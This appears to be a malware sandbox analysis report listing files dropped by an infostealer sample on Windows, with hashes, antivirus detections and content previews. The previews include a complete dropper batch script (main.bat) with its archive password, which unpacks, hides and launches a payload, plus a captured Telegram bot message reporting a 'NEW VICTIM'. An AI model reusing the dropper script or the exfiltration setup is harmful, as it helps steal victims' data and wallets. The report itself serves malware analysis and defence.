                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\main\extracted\file_6.zip

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\main\7z.exe
                                                                                                                                                                                                                                                                                  File Type:Zip archive data, at least v1.0 to extract, compression method=store
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):1800364
                                                                                                                                                                                                                                                                                  Entropy (8bit):7.997716835838842
                                                                                                                                                                                                                                                                                  Encrypted:true
                                                                                                                                                                                                                                                                                  SSDEEP:49152:kyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJv:lj13Trb6i5iGmuXZTbBizt0Jht
                                                                                                                                                                                                                                                                                  MD5:0DC4014FACF82AA027904C1BE1D403C1
                                                                                                                                                                                                                                                                                  SHA1:5E6D6C020BFC2E6F24F3D237946B0103FE9B1831
                                                                                                                                                                                                                                                                                  SHA-256:A29DDD29958C64E0AF1A848409E97401307277BB6F11777B1CFB0404A6226DE7
                                                                                                                                                                                                                                                                                  SHA-512:CBEEAD189918657CC81E844ED9673EE8F743AED29AD9948E90AFDFBECACC9C764FBDBFB92E8C8CEB5AE47CEE52E833E386A304DB0572C7130D1A54FD9C2CC028
                                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                                  Preview:PK........n..Y..+..x...x......file_5.zipPK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..Y*C.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^.*..T.-f..$k.b..#&.B.v...s.s....{.......{..|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........*(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s|&Fj..T:.m..*.J..sk..t.\K*]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y*.;ol..&_/./....3........x.%....$..=.^}.}..53.....|...|-... #..Z-.b.Ej...q.u..

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\main\extracted\file_7.zip

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\main\7z.exe
                                                                                                                                                                                                                                                                                  File Type:Zip archive data, at least v2.0 to extract, compression method=deflate
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):3473559
                                                                                                                                                                                                                                                                                  Entropy (8bit):7.9992359395959935
                                                                                                                                                                                                                                                                                  Encrypted:true
                                                                                                                                                                                                                                                                                  SSDEEP:98304:8aR3D0Ae5mwdkDWm1Xo4j13Trb6i5iGmuXZTbBizt0Jhd:ds5m6sXoArb6iguZnBi5Qd
                                                                                                                                                                                                                                                                                  MD5:CEA368FC334A9AEC1ECFF4B15612E5B0
                                                                                                                                                                                                                                                                                  SHA1:493D23F72731BB570D904014FFDACBBA2334CE26
                                                                                                                                                                                                                                                                                  SHA-256:07E38CAD68B0CDBEA62F55F9BC6EE80545C2E1A39983BAA222E8AF788F028541
                                                                                                                                                                                                                                                                                  SHA-512:BED35A1CC56F32E0109EA5A02578489682A990B5CEFA58D7CF778815254AF9849E731031E824ADBA07C86C8425DF58A1967AC84CE004C62E316A2E51A75C8748
                                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                                  Preview:PK........n..Y`.T......#.....AntiAV.data..E..@.D..C/qwg..;...mG.3H..|...$..}.`..8......lV1*..4...Cu.H.(l+{Cl.:........$+Nr....\.u.K_1N:k.'....F...... .....+.70..R.>..A..#6L.:..n..7......Y..y......v.,....=...e....fe.4.@...h..+....=.#...T....*..A..|...{A.p{.b*.|.[...Q...z.v.....iD.....W.....;...........YVL._._.F..4./g;syC.....e,.N..>t.43..p.T4?.K.....:Z.XDVS.gj.)cp..A9.7^.d.M.d.j..c:.(T<J._3-..8.,."s.'...B\.q...\..e.!..{l.\.]'.P.2}..l@^.G...{n..p..u.n.1;W..#..p.A.YD7.....,.o..z;.6T../.w..=.3K5..]............U...,r....n....(..I.....Q.o%.NF..Q.h$y.".7.tU..eVe.b.q.S4%"C..$g..iX..XQl..?Z.U.|.g....&.d..Y.|..5O...s.|..A..@.Y1F.o.o.s.'UY.AU#....D.K.....A....=t.M..L4...{.....BF.Rg.-...j..p.c..'.2....].m..w37t...Rn.r....v....W..g0E......)-.6.=v/.9...o..~.mh.U.&...5.ld4k.gG.G.S.w4G..]'.5......r..Q.U.U.9.Vv....2.>....p.s.p..e....(..}Jox.....Z..[Y..ku.....5....s.././....:...v......h.u.ZlG.>).,.(....Ye<.....3...:T:)...-).=.L.=.2F....&H7..j..\.B6.Ox.\....

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\main\extracted\in.exe

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\main\7z.exe
                                                                                                                                                                                                                                                                                  File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):1827328
                                                                                                                                                                                                                                                                                  Entropy (8bit):7.963282633529333
                                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                                  SSDEEP:49152:2AVavyjrvfTYx9Z+tylUcecGjcM7B68ue7KhNzw:2AkvyvfTYxTUTj77B68uRe
                                                                                                                                                                                                                                                                                  MD5:83D75087C9BF6E4F07C36E550731CCDE
                                                                                                                                                                                                                                                                                  SHA1:D5FF596961CCE5F03F842CFD8F27DDE6F124E3AE
                                                                                                                                                                                                                                                                                  SHA-256:46DB3164BEBFFC61C201FE1E086BFFE129DDFED575E6D839DDB4F9622963FB3F
                                                                                                                                                                                                                                                                                  SHA-512:044E1F5507E92715CE9DF8BB802E83157237A2F96F39BAC3B6A444175F1160C4D82F41A0BCECF5FEAF1C919272ED7929BAEF929A8C3F07DEECEBC44B0435164A
                                                                                                                                                                                                                                                                                  Malicious:true
                                                                                                                                                                                                                                                                                  Antivirus:
                                                                                                                                                                                                                                                                                  • Antivirus: Avira, Detection: 100%
                                                                                                                                                                                                                                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 70%
                                                                                                                                                                                                                                                                                  Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Pg.........."...............-...H...-....@..............................I...........`...................................................H...............H...............H...............................H.(.....H.8...........................................UPX0......-.............................UPX1..........-.....................@...UPX2..........H.....................@...4.24.UPX!.$..=g.7....Z.H......zH.I..-.3..VH.. H......................1...MZ...o"uKHcQ<.<.PE.>H..8Q.6...[.J.t..lu'.yt.r!H....y........"....9.o.m.........1ZH....g.n.....l8..0..0..!.0..|..(.(,....8.u....'~....*../.. ^.....(v...w....YR....oD.i....H.D$ ~.9..FL......\..(..<..u....I..D.I...f.AWAVVWS.eN.%0g.....x.5.2.H..>...t.H..}.9.t)L..g..f.H....>....A..Q.u.=.X..........:|...oh.?.....^......;.]uzZ..{Q.s`AF..2PQd......p..B....o...t.1.=E6...'u7.p.)<Z.,(".f....Z..a..,+.GLO,v...\=^X...

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\main\file.bin

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exe
                                                                                                                                                                                                                                                                                  File Type:Zip archive data, at least v2.0 to extract, compression method=store
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):3473725
                                                                                                                                                                                                                                                                                  Entropy (8bit):7.999948676888215
                                                                                                                                                                                                                                                                                  Encrypted:true
                                                                                                                                                                                                                                                                                  SSDEEP:49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
                                                                                                                                                                                                                                                                                  MD5:045B0A3D5BE6F10DDF19AE6D92DFDD70
                                                                                                                                                                                                                                                                                  SHA1:0387715B6681D7097D372CD0005B664F76C933C7
                                                                                                                                                                                                                                                                                  SHA-256:94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
                                                                                                                                                                                                                                                                                  SHA-512:58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
                                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                                  Preview:PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\main\file.zip (copy)

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                  File Type:Zip archive data, at least v2.0 to extract, compression method=store
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):3473725
                                                                                                                                                                                                                                                                                  Entropy (8bit):7.999948676888215
                                                                                                                                                                                                                                                                                  Encrypted:true
                                                                                                                                                                                                                                                                                  SSDEEP:49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
                                                                                                                                                                                                                                                                                  MD5:045B0A3D5BE6F10DDF19AE6D92DFDD70
                                                                                                                                                                                                                                                                                  SHA1:0387715B6681D7097D372CD0005B664F76C933C7
                                                                                                                                                                                                                                                                                  SHA-256:94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
                                                                                                                                                                                                                                                                                  SHA-512:58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
                                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                                  Preview:PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\main\main.bat

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exe
                                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-16, little-endian text, with no line terminators
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):440
                                                                                                                                                                                                                                                                                  Entropy (8bit):5.0791308599041844
                                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                                  SSDEEP:12:QUp+CF16g64CTFMj2LIQLvDHW7PCVGrMLvmuCogLKO8NerxVv:QUpNF16g632CkezWDCVGYTOLv8k7
                                                                                                                                                                                                                                                                                  MD5:3626532127E3066DF98E34C3D56A1869
                                                                                                                                                                                                                                                                                  SHA1:5FA7102F02615AFDE4EFD4ED091744E842C63F78
                                                                                                                                                                                                                                                                                  SHA-256:2A0E18EF585DB0802269B8C1DDCCB95CE4C0BAC747E207EE6131DEE989788BCA
                                                                                                                                                                                                                                                                                  SHA-512:DCCE66D6E24D5A4A352874144871CD73C327E04C1B50764399457D8D70A9515F5BC0A650232763BF34D4830BAB70EE4539646E7625CFE5336A870E311043B2BD
                                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                                  Preview:..&cls..@echo off..mode 65,10..title g3g34g34g34g43 (34g34g45h6hj56j56j)..md extracted..ren file.bin file.zip..call 7z.exe e file.zip -p24291711423417250691697322505 -oextracted ..for /l %%i in (7,-1,1) do (..call 7z.exe e extracted/file_%%i.zip -oextracted..)..ren file.zip file.bin..cd extracted..move "in.exe" ../..cd....rd /s /q extracted..attrib +H "in.exe"..start "" "in.exe"..cls..echo Launched 'in.exe'...pause..del /f /q "in.exe"..

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\main\in.exe
                                                                                                                                                                                                                                                                                  File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):1827328
                                                                                                                                                                                                                                                                                  Entropy (8bit):7.963282633529333
                                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                                  SSDEEP:49152:2AVavyjrvfTYx9Z+tylUcecGjcM7B68ue7KhNzw:2AkvyvfTYxTUTj77B68uRe
                                                                                                                                                                                                                                                                                  MD5:83D75087C9BF6E4F07C36E550731CCDE
                                                                                                                                                                                                                                                                                  SHA1:D5FF596961CCE5F03F842CFD8F27DDE6F124E3AE
                                                                                                                                                                                                                                                                                  SHA-256:46DB3164BEBFFC61C201FE1E086BFFE129DDFED575E6D839DDB4F9622963FB3F
                                                                                                                                                                                                                                                                                  SHA-512:044E1F5507E92715CE9DF8BB802E83157237A2F96F39BAC3B6A444175F1160C4D82F41A0BCECF5FEAF1C919272ED7929BAEF929A8C3F07DEECEBC44B0435164A
                                                                                                                                                                                                                                                                                  Malicious:true
                                                                                                                                                                                                                                                                                  Antivirus:
                                                                                                                                                                                                                                                                                  • Antivirus: Avira, Detection: 100%
                                                                                                                                                                                                                                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 70%
                                                                                                                                                                                                                                                                                  Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Pg.........."...............-...H...-....@..............................I...........`...................................................H...............H...............H...............................H.(.....H.8...........................................UPX0......-.............................UPX1..........-.....................@...UPX2..........H.....................@...4.24.UPX!.$..=g.7....Z.H......zH.I..-.3..VH.. H......................1...MZ...o"uKHcQ<.<.PE.>H..8Q.6...[.J.t..lu'.yt.r!H....y........"....9.o.m.........1ZH....g.n.....l8..0..0..!.0..|..(.(,....8.u....'~....*../.. ^.....(v...w....YR....oD.i....H.D$ ~.9..FL......\..(..<..u....I..D.I...f.AWAVVWS.eN.%0g.....x.5.2.H..>...t.H..}.9.t)L..g..f.H....>....A..Q.u.=.X..........:|...oh.?.....^......;.]uzZ..{Q.s`AF..2PQd......p..B....o...t.1.=E6...'u7.p.)<Z.,(".f....Z..a..,+.GLO,v...\=^X...

                                                                                                                                                                                                                                                                                  C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\json[1].json

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exe
                                                                                                                                                                                                                                                                                  File Type:JSON data
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):321
                                                                                                                                                                                                                                                                                  Entropy (8bit):4.99323851364312
                                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                                  SSDEEP:6:kX32J19HgIJAuuuthkP//f4IoWzqs4jW1CRW35jY:kWJ1JgIOuHhA/XvoPPWV5k
                                                                                                                                                                                                                                                                                  MD5:7225D8C283F7B303692A163301880199
                                                                                                                                                                                                                                                                                  SHA1:7BF7F829E108693DB3DAD66B557EAA1DBA464D94
                                                                                                                                                                                                                                                                                  SHA-256:19B824BE603626AAD3EB7CAAA5F56F709F22AE80965559A81977DEC9CB22A944
                                                                                                                                                                                                                                                                                  SHA-512:05125D14C265EED21453D2A6E8007F3BF2C2F339567718AF4F4A20C8EB1474EA73A7656B4EDF13B937B25AB3045601F49D19F8E47521C601FD17D3A218BE0D60
                                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                                  Preview:{. "ip": "8.46.123.189",. "hostname": "static-cpe-8-46-123-189.centurylink.com",. "city": "New York City",. "region": "New York",. "country": "US",. "loc": "40.7143,-74.0060",. "org": "AS3356 Level 3 Parent, LLC",. "postal": "10001",. "timezone": "America/New_York",. "readme": "https://ipinfo.io/missingauth".}

                                                                                                                                                                                                                                                                                  C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\output[1].png

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exe
                                                                                                                                                                                                                                                                                  File Type:PNG image data, 438 x 438, 8-bit/color RGBA, non-interlaced
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):156917
                                                                                                                                                                                                                                                                                  Entropy (8bit):7.994509354006501
                                                                                                                                                                                                                                                                                  Encrypted:true
                                                                                                                                                                                                                                                                                  SSDEEP:3072:T0ogum1PKnCjOE92xFfR4Iti+Zv95YU9Zq3mLTp1lD+tFre:T0oRCa6Gz4U9+6Q3O+Fre
                                                                                                                                                                                                                                                                                  MD5:F89267B24ECF471C16ADD613CEC34473
                                                                                                                                                                                                                                                                                  SHA1:C3AAD9D69A3848CEDB8912E237B06D21E1E9974F
                                                                                                                                                                                                                                                                                  SHA-256:21F12ABB6DE14E72D085BC0BD90D630956C399433E85275C4C144CD9818CBF92
                                                                                                                                                                                                                                                                                  SHA-512:C29176C7E1D58DD4E1DEAFCBD72956B8C27E923FB79D511EE244C91777D3B3E41D0C3977A8A9FBE094BAC371253481DDE5B58ABF4F2DF989F303E5D262E1CE4D
                                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                                  Yara Hits:
                                                                                                                                                                                                                                                                                  • Rule: INDICATOR_SUSPICIOUS_IMG_Embedded_Archive, Description: Detects images embedding archives. Observed in TheRat RAT., Source: C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\output[1].png, Author: ditekSHen
                                                                                                                                                                                                                                                                                  Preview:.PNG........IHDR................p....IDATx....|.e....3......D dw6...S..Y.[......#*L..g.r.....$XA=.f.............)...?.I.(.dv.3.l..~>~>..3.dw.y.<o.$I......+.a...t..=.h..@......#.*....%X...C..TE....6g......0..q.......=.d>..e[-.R..,..$)YN<...2'..$..t.m.<l@...^..sJR.&..$%...c.....-9?a33..K..(+.[.$..2.IRk.xb..&..L..%..:.o....$)...&I..}.@b.u.}lny=...E.?..]IJ..LjK.4..#....$.......5...mK.....$.k.i.2....,8.j..`....C..E&6I....R..DzM.Ci..]..x{.*.H.S.HI2k.....s.Jj..(.....D."IN!..$..t...cE.....S.[t....r(R...>.Pr.. Gt(1.l`......@$I4.c.$..Ew;8.E(..>.AH.....$.d..B..T..d6Fa....$...A.$......Y!..D. I....$5g......@..PL2...a..D."I...U.$.c.O......r.. $I$..$...#..V.(.b..d..M.....cH.q(.v..B.D..M.b9f\>...H@>6.b...2.IR,.0 ..X....$."..$...~.CH.b. :.I.E&6I.EA..!$../:.I.E&6I.I...A.rE. I...&I.....B.h...$I...$).V...!a..C.$Qdb..X.|':....+:.I.E&6I..:cM4..$c...$I...$)...v.X-:..l.......V..M..A.KE../"ZR_.L..Ll...C.D../..E. I"..&I...fth/uT.y...$.db......y.a.E..X....qH.H2.IR....@..8..

                                                                                                                                                                                                                                                                                  C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\sendMessage[1].json

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exe
                                                                                                                                                                                                                                                                                  File Type:JSON data
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):777
                                                                                                                                                                                                                                                                                  Entropy (8bit):5.121904042183214
                                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                                  SSDEEP:24:YKOHYy1JVBa4YGQVPe071kWtPyoZEB6PPiasJENBm9c:YVHYQTBj/Q51ZPtZ2ujMc
                                                                                                                                                                                                                                                                                  MD5:54B57DB4F0F24689D231F9EDE03347AA
                                                                                                                                                                                                                                                                                  SHA1:97205F6057106E1050ABD2D48495711F5044C5A3
                                                                                                                                                                                                                                                                                  SHA-256:CDF2B970383D7FBD41B2E9DC097ABF1374CC5DFA2E2260C1A3C080543266B811
                                                                                                                                                                                                                                                                                  SHA-512:002853F6F5EF9ECAD0910442D0D3D6A7C25FD3ABAFBF75C106595F669BCF268743774BD2AFD99FC0608F295F912E05FDB9967752D6C3271009BA528F0FFB1775
                                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                                  Preview:{"ok":true,"result":{"message_id":26673,"from":{"id":7855878545,"is_bot":true,"first_name":"srhjdftjkw4","username":"srhjdftjkw4_bot"},"chat":{"id":7427009775,"first_name":"\u041a\u0430\u0440\u0434\u0430\u043d","last_name":"\u0412\u0430\u043b\u043e\u0432","username":"kardanvalov88","type":"private"},"date":1734779755,"text":"\ud83d\udd14NEW VICTIM - Extensions Installed\nIP Address: 8.46.123.189\nDevice Name: 494126\nLocation: New York City, New York, US\nWallets:\nNothing found","entities":[{"offset":0,"length":35,"type":"bold"},{"offset":36,"length":11,"type":"bold"},{"offset":48,"length":12,"type":"url"},{"offset":61,"length":12,"type":"bold"},{"offset":81,"length":9,"type":"bold"},{"offset":119,"length":8,"type":"bold"},{"offset":128,"length":13,"type":"code"}]}}

                                                                                                                                                                                                                                                                                  C:\Windows\Tasks\Gxtuum.job

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exe
                                                                                                                                                                                                                                                                                  File Type:data
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):284
                                                                                                                                                                                                                                                                                  Entropy (8bit):3.425395235078664
                                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                                  SSDEEP:6:cgmXflNeRKUEZ+lX1SlkbtPjgsW2YRZuy0lDEEt0:0f2RKQ1hBjzvYRQVDVt0
                                                                                                                                                                                                                                                                                  MD5:F511A06A14FDD9C7607BE0590A6C856B
                                                                                                                                                                                                                                                                                  SHA1:52864449AF9E92A674B584C2D06CED6A85AFA372
                                                                                                                                                                                                                                                                                  SHA-256:04D6511F0B303ED2E121BA138C8942F9EF9C514ECBF0A82458BDB4861C771863
                                                                                                                                                                                                                                                                                  SHA-512:42916391B7775E4621D9E61BD34385AE7F6A2DECAE1F6F10B6DDDEEC8A247DABA5A284DF579BC2E9BA1B7F0279DA1D32A6093088C55713C7E7D42DE95326CEC8
                                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                                  Preview:....<{.#..#B..[/s.l.F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.e.4.5.8.d.2.6.3.c.0.\.G.x.t.u.u.m...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

                                                                                                                                                                                                                                                                                  C:\Windows\Tasks\skotes.job

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\Desktop\file.exe
                                                                                                                                                                                                                                                                                  File Type:data
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):284
                                                                                                                                                                                                                                                                                  Entropy (8bit):3.3843410464678643
                                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                                  SSDEEP:6:oMxlbXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lDkt0:oMjrf2RKQ1CGAFAjzvYRQVDkt0
                                                                                                                                                                                                                                                                                  MD5:07B93490ED617F6385FF2DC974C27675
                                                                                                                                                                                                                                                                                  SHA1:3EF4F92CFD264398A9E2EEB442CCE51E8CC8FBA4
                                                                                                                                                                                                                                                                                  SHA-256:C3199913C4BD02311B5BB358BB1B3024AC950EE55AC4E4A2C4BE2369FA4FA634
                                                                                                                                                                                                                                                                                  SHA-512:341689FA78AD27379313CEAC53163B953182842F5289E3C8FCEA80FF07CD5B6338AAE47731CA87BB7F8C8D94E08297CF0D2F3D915EECE564F6782E47A94667C9
                                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                                  Preview:...."q.....I.)..FOO.F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

                                                                                                                                                                                                                                                                                  \Device\ConDrv

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exe
                                                                                                                                                                                                                                                                                  File Type:Non-ISO extended-ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):120
                                                                                                                                                                                                                                                                                  Entropy (8bit):4.656271997422015
                                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                                  SSDEEP:3:g0XFF+JRf2EQ5JOpLQGja9ZXhIEoviNXDaBBoaMxVAL6QMKn:vOcCLJ0ZRIBvkuBoMeQfn
                                                                                                                                                                                                                                                                                  MD5:2B597F7745AE371E956319DD17BB9022
                                                                                                                                                                                                                                                                                  SHA1:4FC3A5F88CB9B3B68C5E5646274E6215AE9BDBC2
                                                                                                                                                                                                                                                                                  SHA-256:62F882A80A2E86F18E65535557E8CFEB8F25AFE3D6EB084A2E3D459CBF0547CC
                                                                                                                                                                                                                                                                                  SHA-512:11E6CBAA10BC5F1595C9EF71CFE9D0B97126EF62996BE0A048044AE89BCF7C3B513D6D22A4C1B38E97445520CE44A1949BF35F16A5228F2471F41BFC08FABCF1
                                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                                  Preview:Ordner erstellt: C:\rseqj..Willkommen beim Textanalyseprogramm!..Geben Sie Text f.r die Analyse ein (2 Sekunden Zeit):..

                                                                                                                                                                                                                                                                                  Static File Info

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                                                  Entropy (8bit):6.51060008174369
                                                                                                                                                                                                                                                                                  TrID:
                                                                                                                                                                                                                                                                                  • Win32 Executable (generic) a (10002005/4) 99.96%
                                                                                                                                                                                                                                                                                  • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                                                                                                                                                                                                                  • DOS Executable Generic (2002/1) 0.02%
